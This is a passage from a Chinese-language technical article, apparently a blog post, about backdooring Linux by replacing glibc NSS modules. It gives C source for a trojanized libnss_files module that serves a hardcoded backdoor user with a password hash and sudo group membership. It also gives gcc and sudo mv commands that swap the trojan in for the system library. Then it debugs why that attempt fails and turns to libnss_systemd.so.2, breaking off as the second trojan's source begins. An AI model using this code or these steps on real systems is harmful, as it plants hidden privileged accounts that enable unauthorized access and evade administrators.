leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf=""> extra[] = { BACKDOOR_GID, SUDO_GID };</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> i = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">; i &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">; i++)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (*start &gt;= *size)</span><span leaf=""><br/></span><span leaf="">            {</span><span leaf=""><br/></span><span leaf="">                *size *= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">                *groups = </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">realloc</span></span><span leaf="">(*groups, *size * </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">sizeof</span></span><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">gid_t</span></span><span leaf="">));</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!*groups) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span leaf="">            (*groups)[*start] = extra[i];</span><span leaf=""><br/></span><span leaf="">            *start += </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> status;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_files_getspnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                       struct spwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, BACKDOOR_USER) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">512</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        {</span><span leaf=""><br/></span><span leaf="">            *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">        }</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *p = buffer;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_namp = p;</span><span leaf=""><br/></span><span leaf="">        p = stpcpy(p, BACKDOOR_USER) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_pwdp = p;</span><span leaf=""><br/></span><span leaf="">        p = stpcpy(p, BACKDOOR_HASH) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_lstchg = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">20000</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_min = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_max = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">99999</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_warn = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_inact = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_expire = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">-1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">        result-&gt;sp_flag = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    ensure_loaded();</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig_handle) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_UNAVAIL;</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">nss_status</span></span><span style="line-height: 26px;"><span leaf="">(*orig)</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, struct spwd *,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf="">, </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *)</span></span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    orig = dlsym(orig_handle, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;_nss_files_getspnam_r&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (!orig) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_UNAVAIL;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> orig(name, result, buffer, buflen, errnop);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">编译、部署：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">gcc -shared -fPIC -o libnss_files.so.2.trojan nss_files_trojan.c -ldl</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 备份原始模块</span></span><span leaf=""><br/></span><span leaf="">sudo mv /usr/lib/x86_64-linux-gnu/libnss_files.so.2 \</span><span leaf=""><br/></span><span leaf="">        /usr/lib/x86_64-linux-gnu/libnss_files.so.2.orig</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 部署木马化模块</span></span><span leaf=""><br/></span><span leaf="">sudo mv libnss_files.so.2.trojan /usr/lib/x86_64-linux-gnu/libnss_files.so.2</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">然而，测试结果：</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.37777777777777777" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019434" src="https://wechat2rss.xlab.app/img-proxy/?k=eebfb1e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YjeajBvNqj3TjdTjOXbXEflIISjtxk6KicO6y6T7wxXUNXmwG5sEERacJ23hntWS2YKPu9AC2E08Q4y8cDSeT3slmVIqR0WAdG8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">后门没有生效。</span></strong></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">5.2 失败原因分析</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">LD_DEBUG</span></code><span leaf=""> 跟踪 NSS 模块加载过程：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">LD_DEBUG=files getent passwd </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">test</span></span><span leaf=""> 2&gt;&amp;1 | grep -i libnss</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># test 是 /etc/passwd 中存在的用户</span></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.05092592592592592" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019433" src="https://wechat2rss.xlab.app/img-proxy/?k=ccae0457&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6Yg5libHs8ia4TPLVibjCBtqTtUpwiaDyBL5OBmSDyAGWibqGX7kiapbI0JpTS3VROCDiaXc5yLYv7NcdISbsAtFXwOdvhmFrNqvqfQ5ibE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_files.so.2</span></code><span leaf=""> 根本没有被加载！原因在 0x03 的源码分析中已经提到——</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss_module.c</span></code><span leaf=""> 第 170-176 行：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">module</span></span><span leaf="">-&gt;name, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;files&#34;</span></span><span leaf="">) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> module_load_nss_files(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">module</span></span><span leaf="">);   </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 内置绑定，不走 dlopen</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">module</span></span><span leaf="">-&gt;name, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;dns&#34;</span></span><span leaf="">) == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> module_load_nss_dns(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">module</span></span><span leaf="">);     </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 内置绑定，不走 dlopen</span></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dns</span></code><span leaf=""> 是 glibc 的内置模块，不会通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen()</span></code><span leaf=""> 加载 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_files.so.2</span></code><span leaf="">。</span></strong><span leaf=""> 无论怎么替换这个文件，glibc 都不会读它。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这是一个关键的教训：</span><strong style="font-weight: bold;color: black;"><span leaf="">不是所有 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_*.so.2</span></code><span leaf=""> 都会被 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen</span></code><span leaf=""> 加载。</span></strong><span leaf=""> 只有非内置的第三方模块（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">systemd</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">ldap</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sss</span></code><span leaf=""> 等）才走 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen</span></code><span leaf=""> 路径。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">5.3 第二次尝试：替换 libnss_systemd.so.2（成功）</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">既然 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 不走 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen</span></code><span leaf="">，那 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 中的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">systemd</span></code><span leaf=""> 数据源呢？</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">先用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">LD_DEBUG</span></code><span leaf=""> 确认 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_systemd.so.2</span></code><span leaf=""> 是否真的被 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen</span></code><span leaf=""> 加载。注意，必须查询一个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/passwd</span></code><span leaf=""> 中</span><strong style="font-weight: bold;color: black;"><span leaf="">不存在</span></strong><span leaf="">的用户——因为 NSS 是按顺序查询的，如果 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf="">（内置模块）已经找到了，就不会继续加载 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">systemd</span></code><span leaf=""> 模块：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">LD_DEBUG=files getent passwd nonexistent_user 2&gt;&amp;1 | grep libnss</span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7194444444444444" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019437" src="https://wechat2rss.xlab.app/img-proxy/?k=6f5eb103&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YhtbaXrRZccapSfCHqIUdK6qQgcxAxudiap1T4VlSQGTVWfnoicmODVsOZR7ST0ibiagKMZSpXZ02tQaGuykEAib0buAq9Sf1mbTichU%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_systemd.so.2</span></code><span leaf=""> 确实被 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen</span></code><span leaf=""> 加载了。这意味着我们可以用与 5.1 相同的包装（wrapper）方式来替换它。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">整体流程与 5.1 类似，但函数名从 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_nss_files_*</span></code><span leaf=""> 改为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">_nss_systemd_*</span></code><span leaf="">，原始模块路径也相应调整：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">应用程序调用 getpwnam(&#34;alice&#34;)</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  └─ NSS: passwd: files systemd</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       ├─ files（内置模块）：查找 /etc/passwd → 找到 alice → 返回</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       └─ （无需继续）返回 NSS_STATUS_SUCCESS</span><span leaf=""><br/></span><span leaf="">应用程序调用 getpwnam(&#34;backdoor&#34;)</span><span leaf=""><br/></span><span leaf="">  │</span><span leaf=""><br/></span><span leaf="">  └─ NSS: passwd: files systemd</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       ├─ files（内置模块）：查找 /etc/passwd → 未找到 → 返回 NOTFOUND</span><span leaf=""><br/></span><span leaf="">       │</span><span leaf=""><br/></span><span leaf="">       └─ 尝试调用 libnss_systemd.so.2 中的 _nss_systemd_getpwnam_r(&#34;backdoor&#34;)</span><span leaf=""><br/></span><span leaf="">            │</span><span leaf=""><br/></span><span leaf="">            ├─ 木马化模块内部：</span><span leaf=""><br/></span><span leaf="">            │   1. 检查 &#34;backdoor&#34; == &#34;backdoor&#34;？→ 是</span><span leaf=""><br/></span><span leaf="">            │   2. 填充伪造的 passwd 结构体（UID=1002, GID=sudo）</span><span leaf=""><br/></span><span leaf="">            │   3. 返回伪造结果（跳过原始模块调用）</span><span leaf=""><br/></span><span leaf="">            │</span><span leaf=""><br/></span><span leaf="">            └─ 返回 NSS_STATUS_SUCCESS（backdoor 的伪造信息）</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤一：编写木马化模块源代码</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">创建 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss_systemd_trojan.c</span></code><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">define</span></span><span leaf=""> _GNU_SOURCE</span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;nss.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;pwd.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;grp.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;shadow.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;string.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;errno.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span 